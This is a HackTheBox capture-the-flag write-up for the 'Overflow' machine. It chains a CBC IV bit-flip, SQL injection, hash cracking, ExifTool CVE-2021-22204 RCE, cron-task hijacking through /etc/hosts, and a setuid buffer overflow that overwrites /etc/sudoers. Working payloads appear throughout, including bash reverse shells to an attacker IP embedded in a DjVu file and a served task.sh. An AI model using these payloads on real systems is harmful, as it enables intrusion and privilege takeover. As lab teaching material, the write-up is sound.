HTB: Overflow Writeup
Overflow - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Overflow |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.122 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Overflow is a hard difficulty Linux machine that demonstrates several sophisticated attack vectors including CBC padding oracle exploitation, SQL injection, remote code execution through ExifTool (CVE-2021-22204), privilege escalation via scheduled task hijacking, and finally binary exploitation of a setuid buffer overflow. The initial foothold is gained by performing an IV bit-flip attack on a CBC-encrypted session cookie to forge administrator access, then leveraging SQL injection to extract salted password hashes. Credentials are reused across multiple services, allowing access to a file upload portal vulnerable to ExifTool RCE. Lateral movement is achieved through credential reuse and group-based file permissions that enable modification of /etc/hosts, facilitating the hijacking of a scheduled task. Root access is obtained by exploiting a buffer overflow in a custom setuid binary to overwrite sensitive system files.
TL;DR: CBC IV bit-flip → admin cookie → SQLi → password cracking → ExifTool CVE-2021-22204 RCE → credential reuse SSH → /etc/hosts manipulation → scheduled task hijack → buffer overflow setuid binary → root
Reconnaissance
Port Scanning
# Initial port scannmap -sC -sV -T4 -p- 10.129.44.122Results:
- Port 22/tcp - OpenSSH (version unspecified)
- Port 25/tcp - Postfix SMTP
- Port 80/tcp - Apache HTTP Server
The services are running on their default ports. The primary attack surface appears to be the web application on port 80.
Service Enumeration
Web Application (Port 80)
The Apache web server hosts what appears to be a corporate security company website. Key functionality includes:
- User registration system at
/register.php - Authentication mechanism using a cookie named
auth - Admin panel reference after successful authentication
- Multiple subdomains discovered through enumeration
Initial testing revealed that the auth cookie value changes upon registration, suggesting server-side encryption of session data.
Vulnerability Assessment
Initial enumeration identified the following potential attack vectors:
- CBC-encrypted session cookie - The
authcookie appears to use block cipher encryption, potentially vulnerable to padding oracle or bit-flipping attacks - SQL injection - Parameters in authenticated areas may be vulnerable to SQLi
- File upload functionality - Discovered through further enumeration on secondary applications
- Privilege escalation vectors - To be identified post-compromise
Initial Foothold
CBC Bit-Flipping Attack on Authentication Cookie
Upon registration, users receive an auth cookie that encodes their username. Testing revealed the cookie uses CBC mode encryption with the plaintext format user=<username>.
Understanding the Attack
CBC (Cipher Block Chaining) mode encryption works by XORing each plaintext block with the previous ciphertext block before encryption. The Initialization Vector (IV) is XORed with the first plaintext block. Crucially, we can manipulate the IV to modify the decrypted first block without needing to know the encryption key.
The mathematical relationship is:
Plaintext₁ = Decrypt(Ciphertext₁) ⊕ IVIf we want to change the plaintext, we can compute a new IV:
IV' = IV ⊕ Plaintext₁ ⊕ Desired_Plaintext₁Executing the Attack
Rather than attempting a full padding oracle attack (which proved unreliable due to inconsistent error signals), I opted for a cleaner IV bit-flip approach:
# Step 1: Register a strategic username# Registered username: "zzzin"# This creates plaintext blocks: "user=zzz" | "in" + padding# Target: "user=adm" | "in" + padding
# Step 2: Capture the auth cookie for user "zzzin"# Cookie structure: IV (16 bytes) | Ciphertext blocks
# Step 3: Calculate the bit-flip needed# We control the first block plaintext ("user=zzz")# We want it to decrypt as "user=adm"# XOR the IV bytes at positions corresponding to "zzz" with:# Original: 'z', 'z', 'z' (0x7a, 0x7a, 0x7a)# Target: 'a', 'd', 'm' (0x61, 0x64, 0x6d)The bit-flip calculation:
# For each position i in "zzz" -> "adm"# new_IV[offset+i] = old_IV[offset+i] XOR ord('zzz'[i]) XOR ord('adm'[i])
# Position offsets in "user=zzz":# 'z' at index 5: IV[5] XOR 0x7a XOR 0x61# 'z' at index 6: IV[6] XOR 0x7a XOR 0x64# 'z' at index 7: IV[7] XOR 0x7a XOR 0x6dAfter performing the IV manipulation, the modified cookie decrypted to user=admin, granting immediate administrator access to the application.
SQL Injection - Extracting Credentials
With admin access, I discovered an endpoint at /home/logs.php?name=admin that displayed login logs. The name parameter was vulnerable to SQL injection.
# Test for injectioncurl -b "auth=<admin_cookie>" \ "http://10.129.44.122/home/logs.php?name=admin'"# Result: Blank page (error condition)
# Confirm injection with boolean-based payloadcurl -b "auth=<admin_cookie>" \ "http://10.129.44.122/home/logs.php?name=admin') or 1=1 -- -"# Result: Additional rows returned
# Determine column count with UNIONcurl -b "auth=<admin_cookie>" \ "http://10.129.44.122/home/logs.php?name=admin') UNION SELECT 1,2,3 -- -"# Result: Success - 3 columnsEnumerating the Database
# Extract database schema - discovered "cmsmsdb" database# Target table: cms_users
# Dump credentials from cms_users table# Payload: admin') UNION SELECT 1,2,CONCAT(username,':',password) FROM cmsmsdb.cms_users -- -Extracted hashes:
admin:<hash1>editor:<hash2>
The hashes appeared to be MD5 but weren’t cracking with standard wordlists. Further enumeration revealed the cms_siteprefs table containing a sitemask value: 6c2d17f37e226486
Password Cracking with Sitemask Salt
CMS Made Simple uses a salted hash format: MD5(sitemask + password)
# Create John the Ripper custom rule file: john-local.confcat > john-local.conf << 'EOF'[List.Rules:CMSMS]A0"6c2d17f37e226486"EOF
# This rule prepends the sitemask to each wordlist entry
# Prepare hash fileecho "editor:<hash2>" > hashes.txt
# Run John with custom rulejohn --wordlist=/usr/share/wordlists/rockyou.txt \ --format=raw-MD5 \ --rules=CMSMS \ hashes.txtCracked credentials: editor:alpha!@#$%bravo
Accessing Secondary Web Application
With editor credentials, I gained access to the CMS Made Simple installation referenced in the admin panel. Enumeration of User Defined Tags revealed information about a third application:
Discovered hostname: devbuild-job.overflow.htb
# Add to hosts fileecho "10.129.44.122 devbuild-job.overflow.htb" | sudo tee -a /etc/hosts
# Access the application# Credentials reused successfully: editor / alpha!@#$%bravoExifTool RCE (CVE-2021-22204)
The devbuild-job.overflow.htb application contained a file upload feature restricted to TIFF and JPEG formats. HTML comments indicated uploaded files were processed by ExifTool:
<!-- In exiftool condition -->This suggested vulnerability to CVE-2021-22204, a critical remote code execution vulnerability in ExifTool versions before 12.24.
Vulnerability Explanation
CVE-2021-22204 exploits ExifTool’s parsing of DjVu image files. When processing DjVu annotations, ExifTool improperly validates the Copyright metadata field, allowing injection of Perl code through the eval function. By crafting a malicious DjVu file and renaming it with a .jpg extension, we can bypass upload filters and achieve code execution.
Exploitation
# Step 1: Create exploit payload filecat > exploit << 'EOF'(metadata(Copyright "\" . qx{/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.18/9999 0>&1'} . \" b ") )EOF
# Step 2: Create malicious DjVu filedjvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit
# The ANTa parameter specifies the annotation chunk containing our payload# INFO=0,0 creates a minimal DjVu structure# BGjp=/dev/null provides an empty background
# Step 3: Rename to bypass JPEG filtermv exploit.djvu exploit.jpg
# Step 4: Start listenernc -lnvp 9999
# Step 5: Upload exploit.jpg through the web interfaceResult: Reverse shell received as www-data
www-data@overflow:/var/www/devbuild$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
Lateral Movement: www-data → developer
Enumeration of the web application directory revealed database credentials:
# Check common configuration fileswww-data@overflow:/var/www/html$ cat config/db.php<?php$host = "localhost";$user = "developer";$pass = "sh@tim@n";// ... additional config?>Credential Reuse for SSH
# Test SSH access with discovered credentialsssh developer@10.129.44.122Password: sh@tim@n
developer@overflow:~$ iduid=1000(developer) gid=1000(developer) groups=1000(developer),1001(network)Key observation: The developer user is a member of the network group.
Exploiting Network Group Membership
# Search for files owned by the network groupdeveloper@overflow:~$ find / -group network -ls 2>/dev/null# Output shows: /etc/hosts is writable by group networkThe /etc/hosts file is writable by members of the network group, allowing us to redirect hostname resolution.
Discovering the Scheduled Task
# Search for files owned by other users that we can readdeveloper@overflow:~$ find / -user tester -readable -ls 2>/dev/nulldeveloper@overflow:~$ cat /opt/commontask.sh#!/bin/bash
# This script is being run as user tester every minute# Downloads and executes task.sh from taskmanage.overflow.htb
curl http://taskmanage.overflow.htb/task.sh | bashThe script is executed every minute by the tester user and fetches task.sh from taskmanage.overflow.htb.
Hijacking the Scheduled Task
# Step 1: Redirect taskmanage.overflow.htb to our attack machinedeveloper@overflow:~$ echo "10.10.14.18 taskmanage.overflow.htb" >> /etc/hosts
# Step 2: Create malicious task.sh on attack machinecat > task.sh << 'EOF'#!/bin/bash/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.18/7777 0>&1'EOF
# Step 3: Serve the file via HTTPpython3 -m http.server 80
# Step 4: Start listenernc -lnvp 7777Result: Reverse shell received as tester within one minute
tester@overflow:~$ iduid=1001(tester) gid=1001(tester) groups=1001(tester)
tester@overflow:~$ cat ~/user.txt<redacted>Privilege Escalation: tester → root
Discovering the Setuid Binary
# Enumerate setuid binariestester@overflow:~$ find / -perm -4000 -ls 2>/dev/null# Found: /opt/file_encrypt/file_encrypt (owned by root)
tester@overflow:~$ ls -la /opt/file_encrypt/-rwsr-xr-x 1 root root 17352 file_encrypt-rw-r--r-- 1 root root 253 README.md
tester@overflow:~$ cat /opt/file_encrypt/README.mdThe README indicates:
- Application requires a PIN to execute
- Has an
encryptfeature (currently disabled in normal execution) - Still in development
Binary Analysis
# Run the binary to observe behaviortester@overflow:~$ /opt/file_encrypt/file_encryptThis is the code 1804289383. Enter the Pin:The binary prints a code and requests a PIN. This code is consistent across executions, suggesting a fixed random seed.
I transferred the binary to my local machine for analysis with Ghidra:
# On targettester@overflow:~$ base64 /opt/file_encrypt/file_encrypt# Copy output
# On attacker machineecho "<base64_output>" | base64 -d > file_encryptchmod +x file_encryptReverse Engineering the PIN Generation
Ghidra analysis revealed the check_pin() function:
void check_pin(void) { char local_2c[20]; int local_18; long local_14; int local_10;
local_10 = rand(); // Without srand(), always returns 1804289383 local_14 = random(); // Custom function printf("This is the code %i. Enter the Pin: ", local_10); scanf("%d", &local_18);
if (local_14 == local_18) { printf("name: "); scanf("%s", local_2c); // BUFFER OVERFLOW - no bounds checking! // ... }}The random() function (custom implementation):
long random(void) { uint in_stack_00000004; // Actually the code parameter pushed to stack uint local_c; int local_8;
local_c = 0x6b8b4567; for (local_8 = 0; local_8 < 10; local_8++) { local_c = local_c * 0x59 + 0x14; } return local_c ^ in_stack_00000004; // XOR with the code value}Since rand() always returns 1804289383 (due to default seed), I can calculate the correct PIN:
#include <stdio.h>
int main(void) { unsigned int code = 1804289383; unsigned int local_c = 0x6b8b4567;
for (int i = 0; i < 10; i++) { local_c = local_c * 0x59 + 0x14; }
printf("%d\n", local_c ^ code); return 0;}# Compile and rungcc -o pin_calc pin_calc.c./pin_calc-202976456Valid PIN: -202976456
Buffer Overflow Analysis
The scanf() call reads into a 20-byte buffer (local_2c) without bounds checking. Testing confirmed:
# Test with 44 'A's followed by 4 'B'spython3 -c 'print("A"*44 + "B"*4)' | /opt/file_encrypt/file_encrypt# Segmentation fault - EIP overwritten with 0x42424242 (BBBB)Offset to EIP: 44 bytes
Finding the Encrypt Function
# Using gdb on target (available)gdb /opt/file_encrypt/file_encrypt(gdb) info functions# ...# encrypt() function found at: 0x5655585bThe encrypt() function (from Ghidra analysis):
void encrypt(void) { char input_file[20]; char output_file[20]; struct stat st;
printf("Enter Input File: "); scanf("%s", input_file); printf("Enter Encrypted File: "); scanf("%s", output_file);
stat(input_file, &st);
// Security check on INPUT file only if (st.st_uid == 0) { fprintf(stderr, "File %s is owned by root\n", input_file); exit(1); }
// XOR encryption with key 0x9b (symmetric operation) FILE *in = fopen(input_file, "r"); FILE *out = fopen(output_file, "w"); int c; while ((c = fgetc(in)) != EOF) { fputc(c ^ 0x9b, out); }}Critical finding: The function checks if the INPUT file is owned by root, but not the OUTPUT file. This means we can overwrite root-owned files!
Exploitation Strategy
Since the encryption is symmetric (XOR with 0x9b), I can:
- Create a malicious
/etc/sudoersfile - Encrypt it using the overflow to call
encrypt() - Copy the encrypted file (now owned by us)
- Decrypt it by encrypting again, writing to
/etc/sudoers
# Step 1: Create malicious sudoers filetester@overflow:~$ cd /tmptester@overflow:/tmp$ echo "tester ALL=(ALL) NOPASSWD:ALL" > sudoers
# Step 2: Create input for first encryption (encrypt our sudoers)tester@overflow:/tmp$ cat > input1 << 'EOF'-202976456AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5b\x58\x55\x56/tmp/sudoers/tmp/sudoencEOF
# Use Python to properly format the overflow + return addresspython3 << 'PYSCRIPT'with open('input1', 'w') as f: f.write("-202976456\n") # PIN f.write("A" * 44 + "\x5b\x58\x55\x56" + "\n") # Overflow to 0x5655585b f.write("/tmp/sudoers\n") # Input file f.write("/tmp/sudoenc\n") # Output file (will be root-owned)PYSCRIPT
# Run the exploittester@overflow:/tmp$ /opt/file_encrypt/file_encrypt < input1# Creates /tmp/sudoenc (encrypted, owned by root)
# Step 3: Copy to bypass ownership restrictiontester@overflow:/tmp$ cp /tmp/sudoenc /tmp/enc# Now /tmp/enc is owned by tester
# Step 4: Create input for second encryption (decrypt and overwrite /etc/sudoers)python3 << 'PYSCRIPT'with open('input2', 'w') as f: f.write("-202976456\n") f.write("A" * 44 + "\x5b\x58\x55\x56" + "\n") f.write("/tmp/enc\n") # Input: our encrypted file f.write("/etc/sudoers\n") # Output: overwrite real sudoers!PYSCRIPT
# Execute the overwritetester@overflow:/tmp$ /opt/file_encrypt/file_encrypt < input2Verification:
tester@overflow:/tmp$ sudo -lUser tester may run the following commands on overflow: (ALL) NOPASSWD: ALL
tester@overflow:/tmp$ sudo -iroot@overflow:~# iduid=0(root) gid=0(root) groups=0(root)
root@overflow:~# cat /root/root.txt<redacted>Attack Chain Summary
Nmap Enumeration (ports 22,25,80) ↓User Registration + Cookie Analysis ↓CBC IV Bit-Flip Attack (zzzin → admin cookie) ↓SQL Injection in /home/logs.php ↓Extract cms_users + sitemask from cmsmsdb ↓Crack MD5(sitemask+password) → editor:alpha!@#$%bravo ↓Login to CMS Made Simple → Discover devbuild-job.overflow.htb ↓ExifTool RCE (CVE-2021-22204) → Shell as www-data ↓Config File Enumeration → developer:sh@tim@n ↓SSH as developer (network group member) ↓Modify /etc/hosts + Hijack commontask.sh → Shell as tester ↓Reverse Engineer file_encrypt PIN + Buffer Overflow ↓Overwrite /etc/sudoers via encrypt() abuse ↓Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and SQL injection testing |
john | Password hash cracking with custom rules |
djvumake | Creating malicious DjVu files for CVE-2021-22204 |
nc | Reverse shell listeners |
python3 | HTTP server and exploit script generation |
Ghidra | Binary reverse engineering |
gdb | Dynamic binary analysis |
gcc | Compiling PIN calculation program |
ssh | Remote access with discovered credentials |
Key Learnings
Techniques Practiced
- CBC IV bit-flipping attack - Manipulating initialization vectors to forge encrypted session data without knowing the encryption key
- SQL injection exploitation - Extracting sensitive database information through vulnerable parameters
- Salted hash cracking - Creating custom John the Ripper rules to handle application-specific hash formats
- CVE exploitation - Leveraging CVE-2021-22204 in ExifTool for remote code execution through metadata injection
- Credential reuse identification - Tracking passwords across multiple services and applications
- Privilege escalation through group permissions - Exploiting write access to
/etc/hostsfor task hijacking - Binary reverse engineering - Using Ghidra to analyze control flow and identify vulnerabilities
- Buffer overflow exploitation - Calculating offsets and redirecting execution flow in setuid binaries
- Symmetric encryption abuse - Exploiting XOR-based encryption to create malicious file content
Lessons Learned
-
CBC mode vulnerabilities extend beyond padding oracles. When you control the plaintext being encrypted, IV bit-flipping can provide a cleaner attack path than brute-forcing padding states. Understanding the mathematical relationship between IV, ciphertext, and plaintext is crucial.
-
Application-specific password hashing requires custom cracking approaches. The CMS Made Simple
MD5(sitemask+password)scheme demonstrates why reconnaissance must include identifying salt storage locations and understanding hash construction before attempting to crack. -
ExifTool CVE-2021-22204 bypasses rely on file extension spoofing. The vulnerability exists in metadata parsing regardless of extension, making
.jpgrenamed DjVu files effective against upload filters that check extensions but not magic bytes. -
Group-based permissions can be as powerful as user permissions. Membership in the
networkgroup provided write access to/etc/hosts, a critical system file that enabled complete DNS redirection for scheduled task hijacking. -
Setuid binaries with disabled features are still exploitable. Even though the
encrypt()function was not reachable through normal execution flow, buffer overflow allowed arbitrary function invocation, demonstrating why all code paths in privileged binaries must be secured. -
Symmetric encryption without integrity checks enables bidirectional attacks. The XOR-based encryption in
file_encryptmeant encrypting an encrypted file produced the original plaintext, allowing a double-encryption technique to bypass root ownership checks. -
Default random seeds are deterministic. The absence of
srand()initialization meantrand()always returned the same sequence, making the PIN “security” completely ineffective—a reminder that entropy sources must be properly seeded. -
Credential reuse compounds risk across attack surfaces. The
editorcredentials were valid across CMS Made Simple and the devbuild job application, whiledevelopercredentials from web config worked for SSH, showing how a single compromised password can cascade through an environment.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew technical context and vulnerability explanations from the official HackTheBox writeup for Overflow by polarbearer (Document No D22.100.165).